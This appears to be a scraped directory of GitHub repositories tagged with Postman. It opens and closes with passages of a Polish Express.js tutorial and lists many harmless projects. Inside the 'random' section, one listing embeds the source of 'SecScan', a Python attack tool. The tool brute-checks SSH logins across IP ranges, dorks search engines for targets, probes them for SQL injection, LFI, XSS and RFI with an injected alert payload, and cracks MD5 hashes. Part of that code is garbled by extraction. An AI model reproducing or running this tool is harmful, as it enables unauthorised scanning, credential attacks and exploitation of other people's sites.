world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks

tracker (7 listings) (Back to Top)

pivotaltracker/postman-collections
collection, collections, description, script, track, tracker 		No description available. 10 stars 10 watchers 2 forks
asmoker/btrackers-postman
fetch, json, list, server, smoke, track, tracker 		btrackers-postman - BitTorrent Trackers Postman, fetch BitTorrent Trackers URL list from ngosang/trackerslist and post to your aria2 server via jsonrpc. 0 stars 0 watchers 2 forks
govindthakur25/expense-tracker
advance, advanced, concept, consume, consumer, explore, fiddler, track, tracker 		Application to explore basic and advanced concepts of Web Api 2. No consumer added yetone have to use fiddler or postman to use it. 0 stars 0 watchers 1 forks
aking27/FitnessTracker
account, application, data, exercise, form, format, framework, goal, goals, information, machine, mobile, nutritional, order, progress, server, track, tracker, user, users 		I used React Native to create a fitness tracker mobile application for iOS and Android. In order to update and maintain server data, I used a combination of the RESTful API and Postman. Additionally, the Expo framework and Node.js were used to build the application on my machine. This app allows users to sign into their account to log exercise/nutritional information, create fitness goals, and view their progress. 0 stars 0 watchers 0 forks
GabCostaSilva/postman-bitcoin-tracker
bitcoin, track, tracker 		Bitcoin tracker for Postman 0 stars 0 watchers 0 forks
Ketan88/pal-tracker-distributed-postman
distributed, track, tracker 		0 stars 0 watchers 0 forks
woolsox/stat-tracker
assignment, json, stat, track, tracker, week 		stat tracker weekend assignment. postman + json api practice. 0 stars 0 watchers 0 forks

tracking (7 listings) (Back to Top)

adineshreddy1/SupplyChainManagementIntoBlockchain
blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking 		A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. 1 stars 1 watchers 0 forks
pavelsaman/Skills
flask, framework, newman, pytest, site, skills, test, track, tracking, website 		A simple flask website for tracking skills. Written in Python, flask. Tests in pytest, Postman (and newman) and Robot framework. 1 stars 1 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
dicarea/where-postman
application, form, stat, status, track, tracking 		Android application that keeps you informed about correos's tracking status. 0 stars 0 watchers 0 forks
naveenrawat51/CoronaVirus-tracking-aap
track, tracking 		To track the coronavirus using mapbox map api and postman api 0 stars 0 watchers 0 forks
prateek-kapoor323/PostManagementTrackingSystem
system, track, tracking 		This repository contains code for post management and tracking system for SCGJ 0 stars 0 watchers 0 forks
sakhno/postman
track, tracking 		Pet project for tracking parcels 0 stars 0 watchers 0 forks

integrated (7 listings) (Back to Top)

AlbertLabarento/postman-collection-generator
bare, collection, function, functional, generator, integrate, integrated, package, test, tests 		Postman collection generator for your api's. Best used for your functional tests integrated with this package. 4 stars 4 watchers 3 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
Akanksha461/API-Testing-Framework
continuous, framework, integrate, integrated, integration, test, testing 		Api testing framework using postman BDD and integrated with Jenkins for CI(continuous integration) 0 stars 0 watchers 1 forks
venicegeo/pztest-integration
integrate, integrated, integration, test, tests 		Unit and integrated tests from Postman Collections 0 stars 0 watchers 1 forks
karthick-git/concourceCI-newman-slack
automat, automatic, automation, continuous, course, framework, image, integrate, integrated, newman, report, reporting, slack, test, testing, tool 		This is an API automation framework built using Postman's Newman CLI (Docker image) integrated with Concourse (a CI tool) for continuous testing and automatic slack reporting feature. 0 stars 0 watchers 0 forks
roicoroy/ionic4-plugin-push
chai, integrate, integrated, ionic, message, plugin, push, send 		ionic 4 plugin push integrated with Firebase fcm, able to send a chain message from postman 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks

personal (7 listings) (Back to Top)

rpgplanet/django-postman
copy, django, fork, personal, planet 		personal copy/fork of django-postman 1 stars 1 watchers 1 forks
wanyukang/vue-postman
application, personal, route, router, single 		a single page application for personal practice, based on vue + vuetify + vuerouter + vuex. 1 stars 1 watchers 0 forks
SaadBinShahid/basic-django-postman
django, personal, sample 		A sample project using basic django-postman with my personal-django-base. 0 stars 0 watchers 1 forks
FachrulCH/webservices-test-framework-compare
assured, compare, framework, newman, opinion, personal, rest, script, service, services, test, webservice, webservices 		personal opinion for test framework for web services in PHP, Python, Javascript, and Java. using codeception, postman-newman, robot framework, rest assured 0 stars 0 watchers 0 forks
kerem-caglar/postman
note, notes, personal 		personal notes on postman 0 stars 0 watchers 0 forks
NogerbekNurzhan/postman
e mail, letters, mail, personal, send, service 		Web service for sending letters to personal corporate mail via SMTP protocol. 0 stars 0 watchers 0 forks
osonsur1/Wiki-API
personal, wiki 		A personal wiki RESTful api using Robo 3T and Postman 0 stars 0 watchers 0 forks

sender (7 listings) (Back to Top)

klashxx/postman
mail, send, sender 		Just another mail sender 1 stars 1 watchers 0 forks
rishav394/Email-sender-no-IMAP
client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools 		Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. 1 stars 1 watchers 0 forks
BeAPI/bea-postman
class, mail, place, replace, replacement, send, sender 		WordPress class for replacements and mail sender 0 stars 0 watchers 1 forks
Dischain/cli-postman
chai, console, e mail, mail, send, sender 		simple console mail sender 0 stars 0 watchers 0 forks
cnkei/python-postman
list, mail, multiple, python, send, sender 		A SMTP mail sender in Python that accepts a list of recipients and multiple attachment 0 stars 0 watchers 0 forks
eeladc/postman
drive, e mail, mail, send, sender, sync 		A simple mail auto-sender with gdrive sync 0 stars 0 watchers 0 forks
ryufitreet/flatcher
send, sender, tree 		Not finished Postman like request sender 0 stars 0 watchers 0 forks

blueprint (7 listings) (Back to Top)

znck/apib-to-postman
blueprint, collection, postman collection, print 		Convert API blueprint to postman collection 0 stars 0 watchers 3 forks
balderdashy/blueprint-api-example
blueprint, example, print, site, website 		An example of a Sails app using a blueprint API for use in "Run in Postman" buttons on the Sails website. 1 stars 1 watchers 0 forks
call-a3/api-blueprint-to-postman
blueprint, collection, collections, file, files, postman collection, postman collections, print 		Converts Blueprint files to postman collections 0 stars 0 watchers 0 forks
countsheep123/postman2apiblueprint
blueprint, description, print, script 		No description available. 0 stars 0 watchers 0 forks
Dmitiry1921/postman2apiary
blueprint, collection, document, documentation, print 		Parse Postman collection to blueprint documentation 0 stars 0 watchers 0 forks
kran/pm2ab
api blueprint, asyncapi, blueprint, json schema, oauth, openid, print, sql 		postman to api blueprint 0 stars 0 watchers 0 forks
mklabs/postman-to-apiblueprint
blueprint, collection, generate, print, tool 		A relatively simple tool to generate API Blueprint from a Postman collection. 0 stars 0 watchers 0 forks

random (7 listings) (Back to Top)

benfluleck/random-phone-number-generator
file, generate, generator, implements, java, javascript, order, phone, random, script, spec 		Random number generator is a full stack javascript app that implements a simple way to generate phone numbers in a file in an order specified 4 stars 4 watchers 2 forks
dzvlfi/Rest-API-Random-Forest
class, credit, random, rest 		REST-API for credit scoring with random forest classifier 4 stars 4 watchers 1 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
ivansams/PostmanCollectionSorter
collection, collections, history, match, object, order, output, random, sort, source, version 		Cmd line app to sort the requests within Postman collections to match the order object. Postman randomly shuffles requests when outputting collections in order to make source control difficult even with minor changes. If this is run before each update to a collection, it allows you to see incremental changes to each version in history instead of the entire collection being shuffled. 1 stars 1 watchers 0 forks
kjschmidt913/lab20And21
config, configure, export, exported, express, facts, file, folder, front end, function, public, random, retrieve, route, routes 		A function that will return random facts, exported from a different file. Converted the app to Express. Created routes to retrieve facts. Tested using Postman. Created a front-end for the app (added public folder, configured express app to point to the public folder). Used an AJAX call from the front end to retrieve the random facts. 0 stars 0 watchers 0 forks
payal1982/Test-Repository-parseInt-Math.random-10000-
parse, random, test 		This is a test repository created by Postman 0 stars 0 watchers 0 forks
randomdize/json-to-postman-form-data
bulk, data, form, json, object, random, transform, transforming 		transforming json key-value object to form-data for postman bulk edit. 0 stars 0 watchers 0 forks

solutions (7 listings) (Back to Top)

fortinet-solutions-cse/postman_collections
collection, collections, multiple, solution, solutions, workshop, workshops 		Placeholder for multiple Postman collections for different workshops 0 stars 0 watchers 2 forks
neshoj/tcp-postman
back end, drive, driven, implementation, initiate, send, sends, server, server., solution, solutions 		Angular4 implementation of an app that sends JSON request to a back end server that initiates tcp requests to a target server. Best for POS driven solutions. 1 stars 1 watchers 0 forks
VeeamHub/veeam-postman
collection, collections, solution, solutions, veeam 		Postman collections for various Veeam solutions. 0 stars 0 watchers 1 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
diglin/Oro-Postman-Collection
collection, form, solution, solutions 		Postman collection for Oro solutions (OroCommerce, OroCRM, OroPlatform) 0 stars 0 watchers 0 forks
RohanVDvivedi/Travelling-Postman-Problem
courier, problem, service, solution, solutions 		This is a problem that I encountered while devising a clustered non centralized courier delivery service.Note : This is not same as the Travelling salesman Problem. This repo will contain all possible solutions. 0 stars 0 watchers 0 forks
solutionsSlayer/Nexter-Luxury-home-App
home, outil, solution, solutions, test, tester, util 		Réalisation d'une API utilisant NodeJS, Express, MongoDB, Stripe, Mongoose, PUG. Responsive réalisé en avec les système de GRID. Afin de tester les différentes requêtes j'ai utilisé l'outil POSTMAN. 0 stars 0 watchers 0 forks

dynamic (7 listings) (Back to Top)

Krishank/API-Test-Lib
collection, dynamic, dynamically, export, powerful, proving, test, testing, tool 		As we all know POSTMAN is a very powerful tool for API Testing this is a Simple POC for proving how can we use postman for API testing, export it collection dynamically and run it from any CI tool 0 stars 0 watchers 0 forks
api-evangelist/salesforce-api-collection-builder
builder, collection, dynamic, dynamically, list, salesforce 		This is a Postman collection for dynamically building a Postman collection. 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w 